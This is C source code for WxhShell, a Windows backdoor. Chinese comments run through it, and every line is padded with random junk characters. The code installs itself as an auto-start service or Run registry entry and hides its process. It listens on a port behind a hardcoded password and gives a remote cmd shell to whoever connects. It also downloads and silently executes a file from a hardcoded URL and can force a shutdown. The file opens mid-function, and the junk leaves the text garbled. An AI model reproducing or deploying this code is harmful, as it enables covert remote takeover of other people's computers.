    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  eeMeV>  
    if(Boot(SHUTDOWN)) sOVbz2 \yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;15 j\{r  
    else { ]#NJ[IZb  
    closesocket(wsh); "5wer5? t  
    ExitThread(0); Ty&Ok*  
    } ob. Br:x  
    break; &0`[R*S  
    } 7=hISQMsVP  
  // 获取shell gI T3A*x  
  case 's': { 6Mc&gnN  
    CmdShell(wsh); 2#jBh   
    closesocket(wsh); MA`.&MA.  
    ExitThread(0); B+VD53 V  
    break; aw\0\'}  
  } )swu~Wb}U@  
  // 退出 X;/5Niv32q  
  case 'x': { e0Jz|?d=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `*Ju0)g1  
    CloseIt(wsh); 1Zo"Xb  
    break; 8pXului  
    } 9cqq"-$G`  
  // 离开 wH0m^?a!3  
  case 'q': { '}5Yc,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [`n)2} k  
    closesocket(wsh); XG!s+ShFV  
    WSACleanup(); :aHLr[%Mz  
    exit(1); TC* 78;r  
    break; mVsghDESJ)  
        } ` W} Bc  
  } OF1fS\P<>  
  } QKHAN{hJ  
(5/>arDn  
  // 提示信息 K@<%Vc>L(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3;%dn \ D  
} 360b`zS  
  } ."u DM<  
9ao GptgN  
  return; BcaX:C?f  
} dCn'IM1  
Dg=!d)\  
// shell模块句柄 u*6Y>_iA  
int CmdShell(SOCKET sock) umuE5MKY<  
{ 8! X K[zL  
STARTUPINFO si; *Dhy a g  
ZeroMemory(&si,sizeof(si)); o+0x1Ct3P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (#K u`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M5Q7izM  
PROCESS_INFORMATION ProcessInfo; ($T"m-e  
char cmdline[]="cmd"; &_dM2lj{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #I9hKS{  
  return 0; ""W*) rR   
} 1yd}F`{8UF  
%~rXJrK  
// 自身启动模式 MJ_]N+  
int StartFromService(void) )|N_Q}  
{ V`& O`  
typedef struct iXPe  
{ e-EY]%JO  
  DWORD ExitStatus; <|>7?#s2=  
  DWORD PebBaseAddress; p:Hg>Z  
  DWORD AffinityMask; W[SZZV_(tu  
  DWORD BasePriority; #V-0-n,`  
  ULONG UniqueProcessId; B,(zp#&yB  
  ULONG InheritedFromUniqueProcessId; S{ fFpe-  
}   PROCESS_BASIC_INFORMATION; 9g~"Y[ ]  
0[In5II  
PROCNTQSIP NtQueryInformationProcess; 61pJVOe  
_Squ%z:D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lS96sjJp@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w#!b #TNc  
=im7RgIBo  
  HANDLE             hProcess; J ?^R 1  
  PROCESS_BASIC_INFORMATION pbi; xcM*D3  
OzA'd\|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (iJ9ekB  
  if(NULL == hInst ) return 0; 3aUWQP2  
J.Fy0W@+k4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [4 y7tjar^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $2/v8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,LodP%%UV  
U9(p ^  
  if (!NtQueryInformationProcess) return 0; ! _p(H  
vw)lD9-"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k];NTALOG  
  if(!hProcess) return 0; |w+N(wcJ  
Q4h6K 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @<ILF69b  
?F" mZu  
  CloseHandle(hProcess); }8eu 9~   
&rfl(&\oUi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;hb_jW-0W  
if(hProcess==NULL) return 0; PHR:BiMZ  
V.|#2gC]t  
HMODULE hMod; _ K Ix7  
char procName[255]; I[w;soI  
unsigned long cbNeeded; =;(y5c  
o"j$*o=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (~N[j;W,_W  
B1i&HoGbz  
  CloseHandle(hProcess); "?v{?,@  
_?oofE:{  
if(strstr(procName,"services")) return 1; // 以服务启动 Z/G?w D|B  
D^ )?*(  
  return 0; // 注册表启动 !]C=5~B BI  
} 8)bqN$*h  
UUR+PfY  
// 主模块 u3vM!  
int StartWxhshell(LPSTR lpCmdLine) 9p4=iXfR  
{ 7CDp$7v2  
  SOCKET wsl; *O'`&J  
BOOL val=TRUE; 6olJ7`*  
  int port=0; Pr'Ij  
  struct sockaddr_in door; EECuJ+T  
2(i| n=  
  if(wscfg.ws_autoins) Install(); ?k$'po*Eq  
y8j6ttQv=t  
port=atoi(lpCmdLine); }l7@:ezZZ7  
:^rt8>~  
if(port<=0) port=wscfg.ws_port; 0b(x@>  
h.jO3q  
  WSADATA data; s8.SEk|pB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S LU$DW;t  
y$y!{R@   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R3|r` ~@@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7m4*dBTr  
  door.sin_family = AF_INET; } /*U~!t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VRB!u420  
  door.sin_port = htons(port); K_ Odu^  
v3b+Ddp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DHQs_8Df  
closesocket(wsl); He*c=^8k  
return 1; 8(>2+#exw  
} (v}4,'dS  
u'; 9zk/$  
  if(listen(wsl,2) == INVALID_SOCKET) { txik{' :  
closesocket(wsl); Q 6n!u;  
return 1; 5m2f\^U  
} |8?DQhd}  
  Wxhshell(wsl); $X,dQ]M  
  WSACleanup(); tID=I0D  
6d(D >a  
return 0; I8f='  
<,*3Av  
} 2( U;{;\n*  
^*"i *e  
// 以NT服务方式启动 >%H(0G#X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g#:P cl  
{ [\e/xY(4  
DWORD   status = 0; JbAmud,  
  DWORD   specificError = 0xfffffff; l[<U UEjZJ  
H/y,}z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y96HTQ32  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FfNUFx2N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &%`WXe-`R  
  serviceStatus.dwWin32ExitCode     = 0; X ?U'GLm  
  serviceStatus.dwServiceSpecificExitCode = 0; yA#nnu1  
  serviceStatus.dwCheckPoint       = 0; 8a3 EVc  
  serviceStatus.dwWaitHint       = 0; C6'K)P[p  
e'MW"uCP}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o Vpq*"  
  if (hServiceStatusHandle==0) return; h [@}} 6  
Lp) P7Yt-  
status = GetLastError(); 66-tNy  
  if (status!=NO_ERROR) !Ahxi);a  
{ AsI\#wL)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Si3 aq3  
    serviceStatus.dwCheckPoint       = 0; F*T$n"^  
    serviceStatus.dwWaitHint       = 0; ]\y]8v5(  
    serviceStatus.dwWin32ExitCode     = status; (H8JV1J  
    serviceStatus.dwServiceSpecificExitCode = specificError; i1S cXKO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NFyKTA6  
    return; GOOm] ]I  
  } {y'4&vt<~  
*-*SCA`E^=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [RF6mWQ  
  serviceStatus.dwCheckPoint       = 0; ~jzjJ&O&  
  serviceStatus.dwWaitHint       = 0; OT0IGsJ"'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4]#$YehM5  
} 7,zE?KG /  
wYr*('uT  
// 处理NT服务事件,比如:启动、停止 5^K\<+{~B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {&J~P&,k  
{ e%EO/ 2"  
switch(fdwControl) msY6zJc`  
{ c:[ ZknnCe  
case SERVICE_CONTROL_STOP: S_TD o  
  serviceStatus.dwWin32ExitCode = 0; m(D+!I9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y]tbwOle  
  serviceStatus.dwCheckPoint   = 0; 1|m%xX,[  
  serviceStatus.dwWaitHint     = 0; pp{ 2[>  
  { hd]ts.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?IRE91 :  
  } Y?3f Fg  
  return; 0Py*%}r1  
case SERVICE_CONTROL_PAUSE: a`R_}nus*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]tzF Ob  
  break; CXi[$nF3  
case SERVICE_CONTROL_CONTINUE:  md,KRE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A$i^/hJs  
  break; 7Ie=(x8):  
case SERVICE_CONTROL_INTERROGATE: LmytO$?2(  
  break; fm L8n<1  
}; d8iq9AP\o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eC94rcb}i{  
} S9{A}+"K  
jtUqrJFlQ  
// 标准应用程序主函数 qtmKX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {PR "}x  
{ rzs-c ?  
zez|l  
// 获取操作系统版本 [N12X7O3  
OsIsNt=GetOsVer(); d&\3}uH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z&79: 9=#>  
=^SxZ Bn  
  // 从命令行安装 S@g(kIo]  
  if(strpbrk(lpCmdLine,"iI")) Install(); jwUX?`6jX  
&36SX<vZ  
  // 下载执行文件 Z/dhp0k  
if(wscfg.ws_downexe) { 4Us_Z{.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]x{.qTtw  
  WinExec(wscfg.ws_filenam,SW_HIDE); qXhdU/ =  
} e,&#,O  
^,,}2dsb>  
if(!OsIsNt) { [Ky3WppR  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ nHD,h  
HideProc(); bAbR0)  
StartWxhshell(lpCmdLine); ,ryL( "G  
} #f< v%  
else aHVzBcCPh  
  if(StartFromService()) #y[U2s Se  
  // 以服务方式启动 I~ :gi@OVV  
  StartServiceCtrlDispatcher(DispatchTable); u88wSe<\X  
else !?v_.  
  // 普通方式启动 !LzA  
  StartWxhshell(lpCmdLine); G[`1Yw$  
o+B)  
return 0; @Ns[qn;9  
} kY @(-  
L7d1)mV  
0{g*\W*+~  
|Fi5/$S.  
=========================================== 1`YU9?  
5 mC"8N1)  
DzQ  
l#`G4Vf  
#f YB4.i~  
 ?C#E_  
" ~MBPN 4r  
fx(h fz  
#include <stdio.h> Pc_aEBq  
#include <string.h> D}q"^"#T  
#include <windows.h> }f]Y^>-Ux  
#include <winsock2.h> _'LZf=V0  
#include <winsvc.h> -(t7>s  
#include <urlmon.h> /("7*W2  
;8eKAh  
#pragma comment (lib, "Ws2_32.lib") __2<v?\  
#pragma comment (lib, "urlmon.lib") P RWb6  
Qr9;CVW  
#define MAX_USER   100 // 最大客户端连接数 y TD4![  
#define BUF_SOCK   200 // sock buffer fT|A^  
#define KEY_BUFF   255 // 输入 buffer  UXs)$  
xC,x_:R`  
#define REBOOT     0   // 重启 xEp?|Q$  
#define SHUTDOWN   1   // 关机 Vv45w#w;  
!t^DN\\#  
#define DEF_PORT   5000 // 监听端口 #<S*MGp!=  
qh:Bc$S  
#define REG_LEN     16   // 注册表键长度 REU,"  
#define SVC_LEN     80   // NT服务名长度 3f] ;y<Km  
pK@=]K~l0  
// 从dll定义API USEb} M`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jsysk $R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !R"W2Z4h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \gk.[={^P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -}9^$}PR  
mAtqF %V  
// wxhshell配置信息 EU%,tp   
struct WSCFG { ^>?=L\[  
  int ws_port;         // 监听端口 !: ^q_q4  
  char ws_passstr[REG_LEN]; // 口令 3o%vV*  
  int ws_autoins;       // 安装标记, 1=yes 0=no I70c,4_G  
  char ws_regname[REG_LEN]; // 注册表键名 6e%@uB}$  
  char ws_svcname[REG_LEN]; // 服务名 }=5>h' <  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V}Y*Yv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M'PZ{6;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 njF$1? )sq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lr:Qc#2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W n'a'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {aUnOyX_  
=/!lK&  
}; A^>@6d $2  
3R3H+W0{  
// default Wxhshell configuration ~w+I2oS$  
struct WSCFG wscfg={DEF_PORT, G aV&y  
    "xuhuanlingzhe", <qwf"Ey  
    1, N2v/<  
    "Wxhshell", wSN9`"  
    "Wxhshell", m$fEk,d  
            "WxhShell Service", (-21h0N[V  
    "Wrsky Windows CmdShell Service", .9r YBy  
    "Please Input Your Password: ", sD:o 2(G*  
  1, U X@%1W!8  
  "http://www.wrsky.com/wxhshell.exe", #$I@V4O;#  
  "Wxhshell.exe" H OR8Jwf:  
    }; lh8Q tPe  
P.'.KZJ:WD  
// 消息定义模块 u^~7[OkE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3m1(l?fp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +;?mg(:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @-'a{hBR  
char *msg_ws_ext="\n\rExit."; Nmj)TOEPW  
char *msg_ws_end="\n\rQuit."; FH+X<  
char *msg_ws_boot="\n\rReboot..."; 5To@d|{  
char *msg_ws_poff="\n\rShutdown...";  Y~WdN<g  
char *msg_ws_down="\n\rSave to "; v Y0bK-  
~5f&<,p!  
char *msg_ws_err="\n\rErr!"; *nCA6i  
char *msg_ws_ok="\n\rOK!"; QB*,+u4  
i6WH^IQM  
char ExeFile[MAX_PATH]; n m-  
int nUser = 0; 2.D2 o  
HANDLE handles[MAX_USER]; wq$$. .E  
int OsIsNt; tk&AZb,sP  
;xZ+1 zmL0  
SERVICE_STATUS       serviceStatus; _MBhwNBxZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {p +&Q|  
)G/bP!^+(  
// 函数声明 xB *b7-a  
int Install(void); `tkoS  
int Uninstall(void); gQy%T]  
int DownloadFile(char *sURL, SOCKET wsh); Ghgn<YG  
int Boot(int flag);  U?*zb  
void HideProc(void); 3~~X,ZL  
int GetOsVer(void); Mg;pNK\n  
int Wxhshell(SOCKET wsl); ~_\Ra%  
void TalkWithClient(void *cs); Vu:ZG*^  
int CmdShell(SOCKET sock); Q$E.G63Wl  
int StartFromService(void); u?=mh`  
int StartWxhshell(LPSTR lpCmdLine); hdPGqJE  
%Mda<3P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (S~kyU!)0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cx\E40WD  
r&{8/ 5 "  
// 数据结构和表定义 nTeA=0 4  
SERVICE_TABLE_ENTRY DispatchTable[] = @d WA1tM  
{ l<v{8:,e#  
{wscfg.ws_svcname, NTServiceMain}, JQV%W +-@  
{NULL, NULL} g3:@90Ba  
}; GV0\+A"vD  
AxH;psj  
// 自我安装 _:r8UVAT.  
int Install(void) ,:?ibE=  
{ J,=K1>8s  
  char svExeFile[MAX_PATH]; hX.cdt_?  
  HKEY key; /5NWV#-  
  strcpy(svExeFile,ExeFile); _3`G ZeGV  
Jt_=aMY:7  
// 如果是win9x系统,修改注册表设为自启动 6] x6FeuS  
if(!OsIsNt) { b)diYsTH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^?cu9S3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yu;EL>G_AY  
  RegCloseKey(key); [V'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2(eO5.FYF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JtFq/&{i  
  RegCloseKey(key); Y&6jFT_  
  return 0; {7:1F)Pj  
    } 7{#p'.nc5  
  } b~gq8,Fatb  
} ynsYU(  
else { j1_>>xB  
,} t%7I  
// 如果是NT以上系统,安装为系统服务 ug9Ja)1|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;jzJ6~<  
if (schSCManager!=0) %J*1F  
{ Q9bnOvKe|  
  SC_HANDLE schService = CreateService xA3_W  
  ( 8{>|%M  
  schSCManager, T9yI%;D  
  wscfg.ws_svcname, PaTOlHr  
  wscfg.ws_svcdisp, $DDO9  
  SERVICE_ALL_ACCESS, -'&l!23a~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XJ7B?Z g  
  SERVICE_AUTO_START, 7P$*qj~Vh  
  SERVICE_ERROR_NORMAL, ? NoNg^Of  
  svExeFile, .x=abA$!9  
  NULL, &lzY"Y*hA0  
  NULL, [G_ ;78  
  NULL, 4e#g{,  
  NULL, MT{1/A;`)  
  NULL *).  
  ); z 0?MeH#  
  if (schService!=0) Ftyxz&-4$p  
  { [vu;B4^"  
  CloseServiceHandle(schService); {QEvc  
  CloseServiceHandle(schSCManager); qsj$u-xhX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  L` [iI  
  strcat(svExeFile,wscfg.ws_svcname); z>!./z]p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s)\PY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4-bM90&1t  
  RegCloseKey(key); eEqcAUn  
  return 0; 0*MUe1{  
    } w"v96%"Y  
  } _N5pxe`  
  CloseServiceHandle(schSCManager); 27Gff(  
} |;J`~H"K  
} 1feVFRx'  
Sstz_t  
return 1; tar/no  
} R&!;(k0  
Wps^wY  
// 自我卸载 :a8Sy("  
int Uninstall(void) *$cx7yJ  
{ %R5- 6  
  HKEY key; 'l<#;{  
myo4`oH  
if(!OsIsNt) { nzbVI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BD"Dzq  
  RegDeleteValue(key,wscfg.ws_regname); +`flIG3RV  
  RegCloseKey(key); &DW !$b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >_Tyzl>z  
  RegDeleteValue(key,wscfg.ws_regname); OIFjc0  
  RegCloseKey(key); l9QIlTc7  
  return 0; PVi;h%>Y  
  } %|4Kak]:Q  
} OTYkJEC8\N  
} H0b{`!'Fs:  
else { _E9[4%f  
;-JF1p7;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b0 }dy\dnQ  
if (schSCManager!=0) d\-*Fmp(S  
{ ,tXI*R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -medD G  
  if (schService!=0) $\m:}\%p  
  { h8WM4 PK  
  if(DeleteService(schService)!=0) { LTf)`SN %'  
  CloseServiceHandle(schService); <mJ8~  
  CloseServiceHandle(schSCManager); 0=+feB1T  
  return 0; z$ QoMq]  
  } GN(,`y  
  CloseServiceHandle(schService); fx>QP?Z  
  } 1TEKq#t;y  
  CloseServiceHandle(schSCManager);  }se3y  
} |7 K>`  
} "uplk8iCJ  
?0 cv  
return 1; y /vc\e  
} xsU%?"r  
(e;/Smol  
// 从指定url下载文件 -V2f.QE%  
int DownloadFile(char *sURL, SOCKET wsh) J<0sT=/2$  
{ QUkP&sz  
  HRESULT hr; r7R39#  
char seps[]= "/"; }x|q*E\  
char *token; 9y[U\[H  
char *file; 0OlT^  
char myURL[MAX_PATH]; ]fDb|s48  
char myFILE[MAX_PATH]; _|;d D  
E#d~.#uH  
strcpy(myURL,sURL); Y{~`g(~9_A  
  token=strtok(myURL,seps); ;0| :.q  
  while(token!=NULL) p! k~uf U  
  { ,5U[#6^  
    file=token; "kFNOyj3\  
  token=strtok(NULL,seps); NVQ.;"2w  
  } ;mI^J=V3  
,+d8   
GetCurrentDirectory(MAX_PATH,myFILE); O,7S1  
strcat(myFILE, "\\"); le_a IbB"P  
strcat(myFILE, file); Z molL0y  
  send(wsh,myFILE,strlen(myFILE),0); 9 7HI9R  
send(wsh,"...",3,0); ;wJe%Nw?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -~RGjx  
  if(hr==S_OK) e2fv%  
return 0; X!{K`~DRX  
else Y9-F\t=~  
return 1; e1b?TF@lz  
yFd.tQs  
} +P 9eE,WR  
r(>812^\  
// 系统电源模块 B&7:=t,m(  
int Boot(int flag) 2xUgM}e  
{ Aua}.Fl,  
  HANDLE hToken; \HrtPm`e  
  TOKEN_PRIVILEGES tkp; cBbumf9C  
r# oJch=  
  if(OsIsNt) { |Ch ,C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o[RwK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q77qdm q7  
    tkp.PrivilegeCount = 1; |aU8WRq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9,&xG\z=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cDYO Ju.  
if(flag==REBOOT) { ]Ar,HaX-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xe:rPxZf~  
  return 0; V$FZVG/@#  
} V60"j(  
else { [zq2h3r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T#6g5Jnsp  
  return 0; Kwm_Y5`A  
} CY.92I@S  
  } S~H>MtX(<  
  else { EUh_`R  
if(flag==REBOOT) { x|AND]^Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <_k A+&T  
  return 0; MSBrI3MqQ  
} mJ(ElDG  
else { 3.P7GbN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xf"< >M  
  return 0; O8>&J-+2  
} raSga'uT;  
} rtbV*@Z  
p(="73  
return 1; AEx VKy  
} :.=j)ljTx  
eU`O=uE   
// win9x进程隐藏模块 f.%3G+  
void HideProc(void) +Q"~2_q5/;  
{ $;$vcV9*  
bJ9*z~z)e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tb;,t=;u  
  if ( hKernel != NULL ) 1M_Vhs^  
  { yJ ]Va $M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x![.C,O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ qq  
    FreeLibrary(hKernel); 3b#L*-  
  } F&+qd`8J  
%CnNu  
return; Qv'x+GVW]  
} &tf(vU;,'  
Z'uiU e`&  
// 获取操作系统版本 0s{7=Ef  
int GetOsVer(void)  ~H   
{ }kItVx  
  OSVERSIONINFO winfo; n'q:L(`M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K0B<9Wi |  
  GetVersionEx(&winfo); Fv)E:PnKC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g)ZMU^1  
  return 1; sV5") /~  
  else D@.qdRc3  
  return 0; @^ti*`  
} f52P1V]  
f9},d1k  
// 客户端句柄模块 ux!YVvTPd  
int Wxhshell(SOCKET wsl) |& jrU-(  
{ <I2ENo5?  
  SOCKET wsh; &%@O V:C  
  struct sockaddr_in client; \X! NoF  
  DWORD myID; 7TI6EKr  
Z1v~tqx  
  while(nUser<MAX_USER) %\|{_]h}y  
{ QY<5o;m`  
  int nSize=sizeof(client); '+vmC*-I(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r_,;[+!  
  if(wsh==INVALID_SOCKET) return 1; ZQ*Us*9I  
;PMh>ZE`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D*PEIsV  
if(handles[nUser]==0) 3iX\):4  
  closesocket(wsh); H[OgnnM  
else IoK/2Gp  
  nUser++; <-N2<s l  
  } uifVSf*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,LSiQmV5  
4$ihnb`DQN  
  return 0; v2:i'j6  
} $?k]KD  
ZMiOKVl  
// 关闭 socket D `V.gV]  
void CloseIt(SOCKET wsh) u,d5/`E  
{ )u=W?5%=}  
closesocket(wsh); y5O &9Ckw  
nUser--; 79d(UG'O  
ExitThread(0); nu~]9~)I  
} nP*%N|0  
gVR]z9  
// 客户端请求句柄 H=f| X<8  
void TalkWithClient(void *cs) -}h^'#  
{ to,\n"$~!  
eMFxdtH  
  SOCKET wsh=(SOCKET)cs; 3/ }  
  char pwd[SVC_LEN]; %OO}0OW  
  char cmd[KEY_BUFF]; hh%?E\qM  
char chr[1]; NV9JMB{q  
int i,j; K5XW&|tY!  
Av5:/c.B  
  while (nUser < MAX_USER) { MpZ\ j  
Vr( Z;YO  
if(wscfg.ws_passstr) { 'x"(OdM:[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2=0HQXXrq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8=joVbs  
  //ZeroMemory(pwd,KEY_BUFF); udLIAV*  
      i=0; 6j6;lNUc  
  while(i<SVC_LEN) { DC-d@N+  
CAs:>s '8  
  // 设置超时 a\}MJ5]  
  fd_set FdRead; xz5A[)N  
  struct timeval TimeOut; c>^(=52Q  
  FD_ZERO(&FdRead); 3T gX]J@  
  FD_SET(wsh,&FdRead); n;N79`mZC  
  TimeOut.tv_sec=8; vxI9|i  
  TimeOut.tv_usec=0; P#XV_2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NY^0$h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i-5,* 0e6m  
/"u37f?[^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rq[d\BN0.d  
  pwd=chr[0]; Ur>1eN%9'  
  if(chr[0]==0xd || chr[0]==0xa) { 2xX:Q'\2  
  pwd=0; 73Jm  
  break;  fCJjFL:  
  } [?KGLUmTAI  
  i++; 5~:/%+F0=  
    } aVc{ aP  
3+h3?  
  // 如果是非法用户,关闭 socket 'EXx'z;/#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |b.xG_-s1  
} (?zD!% k  
<"P-7/j3j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hdrsa}{g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \y=oZk4  
1hGj?L0m.  
while(1) { X<[ qX*  
|3@DCb T  
  ZeroMemory(cmd,KEY_BUFF); hp9U   
A!x&,<  
      // 自动支持客户端 telnet标准   a6e{bAuq  
  j=0; Q-gVg%'7  
  while(j<KEY_BUFF) { Ihf :k_;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )(-;H|]?  
  cmd[j]=chr[0]; gC/ e]7FNr  
  if(chr[0]==0xa || chr[0]==0xd) { Uza '%R  
  cmd[j]=0; :Z6j5V;s  
  break; >5L_t   
  } ~qGW9 4  
  j++; @CL#B98jl  
    } 5Q"w{ n  
{o)pwM"@(  
  // 下载文件 ^9q#,6  
  if(strstr(cmd,"http://")) { C=r2fc~w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Em@:Qm EN  
  if(DownloadFile(cmd,wsh)) 9iZio3m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<m0YD?>~>  
  else 0zq'Nf?#3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #m{*]mY@  
  } P%(9`A  
  else { RE%f'y  
p,$N-22a  
    switch(cmd[0]) { {.{Wl,|7  
